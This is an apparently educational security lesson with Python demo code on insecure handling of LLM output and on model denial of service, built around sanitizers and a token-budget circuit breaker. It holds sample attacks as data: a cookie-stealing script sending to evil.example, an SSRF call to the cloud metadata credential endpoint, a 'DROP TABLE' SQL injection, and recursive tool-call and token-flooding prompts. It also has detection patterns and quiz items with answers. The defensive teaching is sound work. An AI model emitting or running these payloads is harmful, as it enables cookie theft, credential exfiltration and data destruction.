The Problem
Every application built on an LLM eventually hits the same architectural question: what happens to the text the model produces? It gets rendered in a browser. It gets passed to a tool call that hits an HTTP endpoint. It gets spliced into a database query. It gets returned to another agent as context.
Insecure output handling (LLM02) is what happens when the answer to "what happens to it" is "we trust it." An LLM is a text generator that can be influenced — through direct prompting, through a successful injection (LLM01), or through retrieved content it was tricked into echoing. If that text reaches a browser's DOM without escaping, reaches an HTTP client without an allowlist check, or reaches a SQL engine without parameterization, the LLM has effectively become a new, highly flexible injection vector into infrastructure that has nothing to do with AI at all. The vulnerability isn't in the model — it's in the assumption that model output is safe because it "sounds reasonable."
Model Denial of Service (LLM04) is the resource-exhaustion sibling of the same problem: LLMs cost real money and real compute per token, and an attacker who can get the model to generate (or process) enormous amounts of text can drive costs and latency into a wall with a handful of requests — something a traditional request-count rate limiter won't catch, because the attack is about tokens consumed, not requests made.
Both categories share a root cause with LLM01: they're failures to treat something attacker-influenced as attacker-influenced. LLM01 is about what goes into the model. LLM02 and LLM04 are about what comes out, and how much it costs to get there.
LLM02: insecure output handling
XSS via rendered output. If your application renders LLM output as HTML — a chat UI, a generated report, a summary page — and the model was ever induced (via injection or a jailbroken prompt) to include a <script> tag or an onerror= attribute, that code executes in the victim's browser with the victim's session and cookies:
<script>fetch("https://evil.example/steal?c="+document.cookie)</script>
<p>Here is your order summary.</p>
Defense: never render raw model output as HTML. Escape it (html.escape or your framework's equivalent) before it touches the DOM, or render through a sanitizing markdown renderer that strips executable content by policy, not by blocklist.
SSRF via a model-requested tool call. If your agent has a fetch_url or similar tool and the model can be influenced to request an internal address — most dangerously, a cloud metadata endpoint like 169.254.169.254 on AWS/GCP/Azure — an unchecked HTTP client will happily fetch IAM credentials or other internal-only data and hand them back to the model, which can then surface them to the attacker:
fetch_url(url="http://169.254.169.254/latest/meta-data/iam/security-credentials/")
Defense: every tool call that results in an outbound network request goes through a destination allowlist, checked before the request fires — not a blocklist, an allowlist. Block private IP ranges and known metadata endpoints outright, and only permit hosts you've explicitly approved.
SQL injection through generated queries. If the model generates SQL that's then executed directly — a "text-to-SQL" feature, or a model-in-the-loop reporting tool — a manipulated model output can append a second statement:
SELECT * FROM orders WHERE customer_id = 4471; DROP TABLE orders; --
Defense: never string-splice model output into a query. Use parameterized queries, and run any model-generated SQL under a read-only, schema-scoped database role so that even a successful injection has nothing destructive to reach.
Output handling is sink-specific — there is no universal filter
A single "sanitize the output" function does not exist, because HTML, HTTP, and SQL are injected through completely different mechanisms and defended with completely different techniques (escaping, allowlisting, parameterization). Treat each downstream consumer of model output as its own trust boundary with its own validation logic. A defense that works for XSS does nothing for SSRF.
LLM04: model denial of service
Traditional rate limiting counts requests. LLM cost and latency scale with tokens, so a request-count limiter misses the actual attack surface. Four patterns matter:
Token exhaustion — the attacker asks for a huge amount of generated output ("repeat this 50,000 times," "write the most detailed possible answer"), driving up cost and latency per request without needing many requests at all.
Context window flooding — the attacker pastes an enormous amount of input (a massive document, repeated many times across a session), consuming context window and, cumulatively, driving costs up even if each individual request looks reasonable in isolation.
Expensive prompt chains — for agentic systems, the attacker crafts a prompt that induces a recursive or fan-out tool-call pattern ("for every result, search for 10 more, and for each of those...") that multiplies cost per user turn far beyond what a single request should justify.
Rapid-fire request bursts — straightforward volume, but sized against your actual per-request cost, not against an arbitrary request count.
The defense is a resource budget, enforced as a circuit breaker per session: a token ceiling, a tool-call ceiling, and a request-rate ceiling, all tracked together — because an attacker who's smart enough to stay under one ceiling will often trip another.
| Attack pattern | What it exhausts | Budget dimension that catches it |
|---|
| Token exhaustion | Output tokens per request | max_tokens_per_session |
| Context flooding | Input tokens across a session | max_tokens_per_session (cumulative) |
| Expensive prompt chains | Tool-call count | max_tool_calls_per_session |
| Rapid-fire bursts | Requests per unit time | max_requests_per_minute |
Your text-to-SQL feature lets a model generate a SQL query from a natural-language question, then executes the returned string directly against your production database. A user's request results in the model generating: "SELECT * FROM orders WHERE customer_id = 4471; DROP TABLE orders; --". What's the failure and the fix?
This is LLM02: the vulnerability is architectural, not a prompting mistake. Even a well-behaved model can occasionally generate malformed or manipulated SQL, and if that string is executed directly, the application has no defense left. Prompt-level instructions reduce the odds but don't structurally prevent it — the fix has to happen at the execution boundary: parameterized queries (so a second statement can never be appended) and a database role with no write/DDL permissions for anything model-generated. A token budget (option 3) addresses LLM04, not this vulnerability, and there's no indication of poisoned training data here.
Building the layered defense
The pattern that generalizes across both categories: classify every request into "does this need a resource budget check" and "does this produce output that reaches a sensitive sink," and apply the matching defense before the sink, not inside the model.
- Output reaching HTML → escape or sanitize before render
- Output triggering an HTTP call → allowlist the destination before the request fires
- Output feeding a SQL execution → parameterize, never splice; scope the execution role
- Any request → check it against session-level token, tool-call, and request-rate budgets before it reaches the model at all
None of these defenses require the model to behave correctly. That's the point — they hold even when generation-time defenses (LLM01's structural separation, a well-written system prompt) fail, because they operate on the output and the resource consumption, not on trusting the model's judgment.
An attacker sends your agent: "For every result you find, search for 10 more related results, and for each of those, search for 10 more. Report everything." The agent has no per-session limits. What category of vulnerability is this, and what specific control stops it?
This is a classic expensive-chain LLM04 attack: no single tool call in the chain looks malicious, but the recursive fan-out (10 results → 10 more each → 10 more each) multiplies cost and load exponentially. Escaping output (LLM02) or separating retrieved content (LLM01) don't address resource exhaustion at all — the fix has to be a hard ceiling on tool calls per session that trips regardless of whether each individual call was 'reasonable,' because the attack works precisely by keeping each step innocuous.
Build
Build it
The code artifact lesson_01_02_output_handling_dos.py implements both parts:
OutputSanitizer — sink-specific defenses for XSS (HTML escaping), SSRF (URL allowlist + private-IP/metadata-endpoint blocking), and SQL injection (dangerous-pattern guard)TokenBudgetCircuitBreaker — session-scoped token, tool-call, and requests-per-minute budgets that raise BudgetExceeded when tripped- Demos of all 3 LLM02 sinks and all 4 LLM04 DoS patterns, undefended vs. defended
"""
lesson_01_02_output_handling_dos.py
LLM02 (Insecure Output Handling) + LLM04 (Model Denial of Service).
Part A — Insecure Output Handling:
Demonstrates how raw, unvalidated LLM output becomes an XSS vector when
rendered in a browser, an SSRF vector when used as a tool-call URL, and a
SQL injection vector when spliced into a query — then a defended pipeline
that sanitizes/validates each before it reaches the vulnerable sink.
Part B — Model Denial of Service:
Demonstrates token exhaustion and context-window flooding, then a
TokenBudget circuit breaker that stops runaway cost/resource consumption.
Usage:
export ANTHROPIC_API_KEY=sk-ant-...
python lesson_01_02_output_handling_dos.py
Requirements:
pip install anthropic
Without an API key, LLM responses are mocked with realistic attacker-shaped
payloads so the validation and circuit-breaker logic can be exercised offline.
"""
import os
import re
import html
import time
from dataclasses import dataclass, field
from urllib.parse import urlparse
import anthropic
client = anthropic.Anthropic(api_key=os.getenv("ANTHROPIC_API_KEY", ""))
MODEL = "claude-haiku-4-5"
# ══════════════════════════════════════════════════════════════════════════
# PART A — Insecure Output Handling (LLM02)
# ══════════════════════════════════════════════════════════════════════════
# ── Simulated raw model outputs an attacker has influenced via injection ────
# (e.g. the model was prompted, directly or via RAG content, to produce these)
RAW_OUTPUTS = {
"xss": '<script>fetch("https://evil.example/steal?c="+document.cookie)</script>'
'<p>Here is your order summary.</p>',
"ssrf_tool_call": {"tool": "fetch_url", "args": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}},
"sql": "SELECT * FROM orders WHERE customer_id = 4471; DROP TABLE orders; --",
}
ALLOWED_URL_HOSTS = {"api.northwind-traders.example", "docs.northwind-traders.example"}
PRIVATE_IP_PATTERNS = [
r"^169\.254\.", # cloud metadata endpoints (AWS/GCP/Azure IMDS)
r"^127\.", # loopback
r"^10\.", # RFC1918 private range
r"^192\.168\.",
r"^172\.(1[6-9]|2\d|3[01])\.",
r"^0\.0\.0\.0$",
]
@dataclass
class ValidationResult:
is_safe: bool
reason: str | None = None
sanitized: str | None = None
class OutputSanitizer:
"""
Treats every LLM output as untrusted input to whatever consumes it next.
Three sinks are covered here: HTML rendering, outbound HTTP tool calls,
and SQL. Each has a different injection mechanism and a different fix —
output handling is sink-specific, not one universal filter.
"""
def sanitize_for_html(self, text: str) -> ValidationResult:
"""XSS defense: never render raw model output as HTML. Escape it."""
has_script = bool(re.search(r"<script|onerror=|javascript:", text, re.I))
escaped = html.escape(text)
return ValidationResult(
is_safe=not has_script,
reason="Raw output contained an executable <script> tag" if has_script else None,
sanitized=escaped,
)
def validate_tool_call_url(self, url: str) -> ValidationResult:
"""
SSRF defense: the model can request a tool call, but the destination
must be checked against an allowlist before the HTTP client fires.
Blocks cloud metadata endpoints and private IP ranges outright.
"""
parsed = urlparse(url)
host = parsed.hostname or ""
for pattern in PRIVATE_IP_PATTERNS:
if re.match(pattern, host):
return ValidationResult(False, reason=f"Blocked private/metadata IP target: {host}")
if host not in ALLOWED_URL_HOSTS:
return ValidationResult(False, reason=f"Host '{host}' not in allowlist {sorted(ALLOWED_URL_HOSTS)}")
return ValidationResult(True)
def validate_sql_fragment(self, sql_from_model: str) -> ValidationResult:
"""
SQL injection defense: never splice model-generated SQL directly into
an execute() call. Detect multi-statement / DDL patterns as a
pre-execution guard; the real fix is parameterized queries and a
read-only, schema-scoped execution role for anything model-generated.
"""
danger_patterns = [r";\s*drop\s+table", r";\s*delete\s+from", r"--", r";\s*update\s+\w+\s+set"]
matched = [p for p in danger_patterns if re.search(p, sql_from_model, re.I)]
return ValidationResult(is_safe=not matched, reason=f"Dangerous SQL pattern(s): {matched}" if matched else None)
def demo_output_handling() -> None:
sanitizer = OutputSanitizer()
print("\n" + "=" * 70)
print("PART A: INSECURE OUTPUT HANDLING (LLM02)")
print("=" * 70)
# 1. XSS via rendered LLM output
print("\n[1] XSS via unvalidated HTML rendering")
print(f" Raw model output: {RAW_OUTPUTS['xss'][:80]}...")
result = sanitizer.sanitize_for_html(RAW_OUTPUTS["xss"])
print(f" UNDEFENDED sink (render raw): would execute attacker JS in the user's browser")
print(f" DEFENDED sink (html.escape before render): safe={result.is_safe}, "
f"rendered='{result.sanitized[:60]}...'")
# 2. SSRF via a tool call the model requested
print("\n[2] SSRF via a model-requested tool call")
tool_call = RAW_OUTPUTS["ssrf_tool_call"]
url = tool_call["args"]["url"]
print(f" Model requested: {tool_call['tool']}(url='{url}')")
result = sanitizer.validate_tool_call_url(url)
print(f" UNDEFENDED sink (fire the request as-is): would hit the cloud metadata endpoint "
f"and could exfiltrate IAM credentials")
print(f" DEFENDED sink (allowlist check before request): allowed={result.is_safe}, "
f"reason={result.reason}")
# 3. SQL injection via model-generated query
print("\n[3] SQL injection via model-generated query fragment")
print(f" Model output: {RAW_OUTPUTS['sql']}")
result = sanitizer.validate_sql_fragment(RAW_OUTPUTS["sql"])
print(f" UNDEFENDED sink (execute string directly): would drop the orders table")
print(f" DEFENDED sink (pattern guard + parameterized execution): safe={result.is_safe}, "
f"reason={result.reason}")
# ══════════════════════════════════════════════════════════════════════════
# PART B — Model Denial of Service (LLM04)
# ══════════════════════════════════════════════════════════════════════════
class BudgetExceeded(Exception):
"""Raised when a session or request exceeds its resource budget."""
@dataclass
class UsageRecord:
tokens_used: int = 0
tool_calls_made: int = 0
requests_made: int = 0
class TokenBudgetCircuitBreaker:
"""
Stops resource-exhaustion attacks: token flooding (asking for huge
repeated output), expensive prompt chains (recursive tool-call loops),
and rapid-fire request bursts. This is the LLM04 analogue of a
traditional application-layer rate limiter — it has to account for cost
per request, not just request count, because LLM cost scales with
tokens, not just call count.
"""
def __init__(self, max_tokens_per_session: int = 4000, max_tool_calls_per_session: int = 8,
max_requests_per_minute: int = 20):
self.max_tokens_per_session = max_tokens_per_session
self.max_tool_calls_per_session = max_tool_calls_per_session
self.max_requests_per_minute = max_requests_per_minute
self.usage: dict[str, UsageRecord] = {}
self.request_timestamps: dict[str, list[float]] = {}
def _record(self, session_id: str) -> UsageRecord:
return self.usage.setdefault(session_id, UsageRecord())
def check_and_record_request(self, session_id: str, estimated_tokens: int, now: float | None = None) -> None:
now = now if now is not None else time.time()
timestamps = self.request_timestamps.setdefault(session_id, [])
timestamps[:] = [t for t in timestamps if now - t < 60]
if len(timestamps) >= self.max_requests_per_minute:
raise BudgetExceeded(
f"Session {session_id} exceeded {self.max_requests_per_minute} requests/min "
f"— possible flooding attack"
)
timestamps.append(now)
record = self._record(session_id)
if record.tokens_used + estimated_tokens > self.max_tokens_per_session:
raise BudgetExceeded(
f"Session {session_id} would exceed token budget "
f"({record.tokens_used}+{estimated_tokens} > {self.max_tokens_per_session}) "
f"— possible context-flooding or token-exhaustion attack"
)
record.tokens_used += estimated_tokens
record.requests_made += 1
def check_and_record_tool_call(self, session_id: str) -> None:
record = self._record(session_id)
if record.tool_calls_made + 1 > self.max_tool_calls_per_session:
raise BudgetExceeded(
f"Session {session_id} exceeded {self.max_tool_calls_per_session} tool calls "
f"— possible expensive-chain or recursive-loop denial-of-service attack"
)
record.tool_calls_made += 1
def estimate_tokens(text: str) -> int:
"""Rough token estimate (chars / 4) — good enough for a budget guard."""
return max(1, len(text) // 4)
DOS_SCENARIOS = [
{
"name": "Token exhaustion — request for massively repeated output",
"session": "session-a",
"input": "Repeat the word 'hello' exactly 50,000 times.",
"simulated_output_tokens": 12000,
},
{
"name": "Context window flooding — paste an enormous document, repeatedly",
"session": "session-b",
"input": "X" * 8000,
"simulated_output_tokens": 500,
"repeat_count": 3,
},
{
"name": "Expensive prompt chain — recursive tool-call expansion",
"session": "session-c",
"input": "For every result, search for 10 more related results, and for each of "
"those, search for 10 more. Report everything.",
"simulated_output_tokens": 300,
"tool_calls": 15,
},
{
"name": "Rapid-fire request burst",
"session": "session-d",
"input": "quick question",
"simulated_output_tokens": 50,
"burst_count": 25,
},
]
def demo_dos_defense() -> None:
print("\n" + "=" * 70)
print("PART B: MODEL DENIAL OF SERVICE (LLM04)")
print("=" * 70)
breaker = TokenBudgetCircuitBreaker(
max_tokens_per_session=4000, max_tool_calls_per_session=8, max_requests_per_minute=20
)
for scenario in DOS_SCENARIOS:
print(f"\n[{scenario['name']}]")
session = scenario["session"]
try:
if "burst_count" in scenario:
for i in range(scenario["burst_count"]):
breaker.check_and_record_request(
session, estimate_tokens(scenario["input"]) + scenario["simulated_output_tokens"]
)
print(f" UNDEFENDED: all {scenario['burst_count']} requests would hit the model — "
f"$ cost and latency scale linearly with attacker effort")
print(f" DEFENDED: circuit breaker allowed all {scenario['burst_count']} "
f"(under {breaker.max_requests_per_minute}/min) — increase burst_count to see it trip")
elif "tool_calls" in scenario:
for _ in range(scenario["tool_calls"]):
breaker.check_and_record_tool_call(session)
print(f" All {scenario['tool_calls']} tool calls allowed (unexpected — "
f"breaker should have tripped)")
elif "repeat_count" in scenario:
tokens = estimate_tokens(scenario["input"]) + scenario["simulated_output_tokens"]
print(f" Each paste is ~{tokens} tokens — under the {breaker.max_tokens_per_session} "
f"budget alone, but the attacker repeats it {scenario['repeat_count']}x in one session")
for i in range(scenario["repeat_count"]):
breaker.check_and_record_request(session, tokens)
print(f" paste {i+1}/{scenario['repeat_count']}: allowed, cumulative tokens="
f"{breaker.usage[session].tokens_used}")
else:
tokens = estimate_tokens(scenario["input"]) + scenario["simulated_output_tokens"]
breaker.check_and_record_request(session, tokens)
print(f" Request of ~{tokens} tokens allowed under budget "
f"{breaker.max_tokens_per_session} (single small request — no flood)")
except BudgetExceeded as e:
print(f" UNDEFENDED sink (no circuit breaker): the full request(s) would reach the "
f"model, consuming tokens/cost/latency proportional to attacker effort")
print(f" DEFENDED (TokenBudgetCircuitBreaker): BLOCKED — {e}")
if __name__ == "__main__":
print("LLM02 & LLM04: INSECURE OUTPUT HANDLING + MODEL DENIAL OF SERVICE")
demo_output_handling()
demo_dos_defense()
print("\n" + "=" * 70)
print("Takeaway: LLM02 defenses are sink-specific (escape for HTML, allowlist "
"for URLs, parameterize for SQL) because each downstream consumer has a "
"different injection mechanism. LLM04 defenses are budget-based (tokens, "
"tool calls, requests/min) because DoS cost scales with resource "
"consumption, not request count alone.")
Try a minimal version of the LLM04 defense: a toy per-session token budget that trips like a circuit breaker.
class BudgetExceeded(Exception):
pass
class RateLimiter:
def __init__(self, max_tokens=2000, max_requests=5):
self.max_tokens = max_tokens
self.max_requests = max_requests
self.usage = {}
def check(self, session_id, tokens):
used_tokens, used_requests = self.usage.get(session_id, (0, 0))
if used_requests + 1 > self.max_requests:
raise BudgetExceeded(f"{session_id}: request-rate ceiling hit")
if used_tokens + tokens > self.max_tokens:
raise BudgetExceeded(f"{session_id}: token budget exceeded")
self.usage[session_id] = (used_tokens + tokens, used_requests + 1)
return self.usage[session_id]
limiter = RateLimiter(max_tokens=2000, max_requests=5)
requests = [400, 400, 400, 400, 500, 200] # last two should trip limits
for i, tokens in enumerate(requests, 1):
try:
used = limiter.check("session-a", tokens)
print(f"request {i}: allowed, cumulative usage={used}")
except BudgetExceeded as e:
print(f"request {i}: BLOCKED — {e}")